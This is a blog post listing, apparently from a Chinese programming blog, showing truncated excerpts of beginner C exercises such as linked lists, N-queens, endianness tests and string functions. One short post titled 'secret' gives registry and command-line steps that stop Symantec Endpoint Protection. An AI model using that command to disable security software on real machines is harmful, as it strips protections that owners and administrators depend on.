- 博客(21)
- 资源 (8)
- 收藏
- 关注
原创 单链表未完成
#include #include typedef char TYPE;typedef struct Node{ TYPE value; struct Node * next;}ListNode;ListNode * creatList(const TYPE *data);ListNode * insertList(const ListNode * head,
2012-08-20 17:18:27
247
原创 秘密
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Symantec\Symantec Endpoint Protection\SMC" /v smc_exit_test /t REG_DWORD /d 0 /f"C:\Program Files\Symantec\Symantec Endpoint Protection\Smc.exe" -stop
2012-08-17 14:08:36
323
原创 代码区只读,不能赋值,小心二级指针指向后也要注意。
#include static char *pstr = "hello";void fun(char **p);void main(){ char *p = NULL; fun(&p); printf("%s\n", p); //*ptsr = "wangyan"; //*p = "wangyan"; //printf("%s\n",
2012-08-17 11:20:29
1893
原创 杨氏矩阵
#include #define ROW 4#define COL 4int youngSearch(int * YOUNG, int search);void main(){ int young[][COL] = {{1,4,5,9},{3,7,8,10},{4,8,9,11},{6,9,11,13}}; int search; printf("input the
2012-08-17 09:41:40
237
原创 数组最大和
#include void main(){ int array[8] = {1,-1,10,-5,9,3,4,-2}; int sum = 0; int i = 0; int max = array[0]; for(;i { if(sum >= 0) { sum = sum + array[i]; } else { su
2012-08-17 08:59:58
210
原创 格式输出符 把我给玩了,很简单一道题
#include int lowScore(float * score, int num, float * ptr_aver);void main(){ float stuScore[8] = {80.5,60,72,90.5,98,51.5,88,64}; float aver = 1; float * p = &aver; printf("%d",lowScore(
2012-08-16 17:09:28
376
原创 打字游戏
#include#include#includeint getRandChar(static unsigned SEED);int * showChar(int num);void main(){ int i = 0; int *p = showChar(6); char input[100]; int rightNum = 0; double time
2012-08-16 14:26:34
377
转载 皇后位运算 原出处忘了
#includeint sum = 0;int limit = 1;void compare(int row, int left, int right);void main(){ int n = 0; printf("input queens num.\n"); scanf("%d",&n); limit = (limit compare(0,0,0);
2012-08-16 14:26:02
286
原创 strdup
#include#includechar * strdup(const char * p);void main(){ char *p; char sou[10] = "abc"; p = strdup(sou); printf(p);}char * strdup(const char * p){ int len = strlen(p); char
2012-08-16 14:25:14
305
原创 端序测试
#includevoid main(){ int a = 0x41424344; int i = 0; char *p = &a; printf("A B C D\n"); for(i = 0; i { printf("%d\t",(p+i)); printf("%c\n",*(p+i)); } if (*(p+1) printf("小
2012-08-16 14:24:30
692
原创 兔子洞位运算
#include int main(){ int holeBit = 0; int change = 1; int changeBit = 0; int i; int hole = 1 int inHole = 1 for(i=0;i { holeBit = holeBit + change; ch
2012-08-16 14:23:54
308
转载 字符串左旋转 //Copyright@ 小桥流水 && July
#include #include char * invert(char * start, char *end);char * left(char * s, int pos); int main(){ char s[] = "abcdefghij"; puts(left(s, 3)); return 0;}char *invert(char * start,
2012-08-16 14:23:09
596
原创 字符串比较
#include int STRCMP(char *source, char *dest);void main(){ char a[10] = "wangyan"; char b[10] = "wangya"; printf("%d\n",STRCMP(a,b));}//如果两个字符串相等则返回0,否则返回-1int STRCMP(char *source,
2012-08-16 14:08:16
208
原创 猜数字
#includeint myRand(int SEED);int compare(const int * right,int *in);void main(){ int randNum[2] = {0,0}; int input[2]; int i = 0; int flag = 0; int times = 0; randNum[0] = myRand(1
2012-08-16 14:06:46
228
原创 动态数组
#includevoid main(){ int n; int m; int max; int i, j; char *p; int *q; printf("输入行数。\n"); scanf("%d",&m); q = (int *)malloc(m*sizeof(int)); for(i=0;i { printf("输入第%d
2012-08-16 13:47:54
185
原创 螺旋魔方
#include #include #define N 5int cube[N][N];int left = 0;int right = N-1;int top = 0;int botton = N-1;int num = 1;void trend(int tr);int main(){ int k; int i, j; for(k=1;k
2012-08-16 13:46:18
589
原创 时间加一秒
#includetypedef struct carryMem{ int *pCarry; int carry; int mybit; int date[6];}CARRY;CARRY isCarry(CARRY car);int isLeapYear(int year);int calcDays(CARRY car);int main(void){
2012-08-16 13:38:56
510
原创 重学c语言_3
声明同“重学c语言_1”#include#includeint main(){ char str[] = "123c# D; WwEd@$%^&*\ts[e?\n"; int i ; for(i=0;str[i]!=0;i++)
2011-10-04 16:56:40
935
原创 重学c语言_2
/**************************************************************//*File: program_1_2.c *//*Introduction:数组的应用 *//*****
2011-09-29 21:53:40
217
原创 重学c语言_1
声明程序来源------ARM嵌入式Linux系统开发技术详解 杨水清 等人著/**************************************************************//*File: program_1_1.c
2011-09-28 21:50:04
265
原创 【The First Blog】
昨天,东软来学校找实习生,笔试,今天下来结果了,本来还准备今天的面试,后来通知笔试分数够一定分数就可以面试免试了,幸运的有我一个,大四的去处定下来了,也是一件好事,可是 最近没有状态,而且还经常头疼,十一回家调养一下,时间不多了,大三已经过去了一个月,要经常提醒自己,要有冷静的头
2011-09-27 22:48:49
278
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人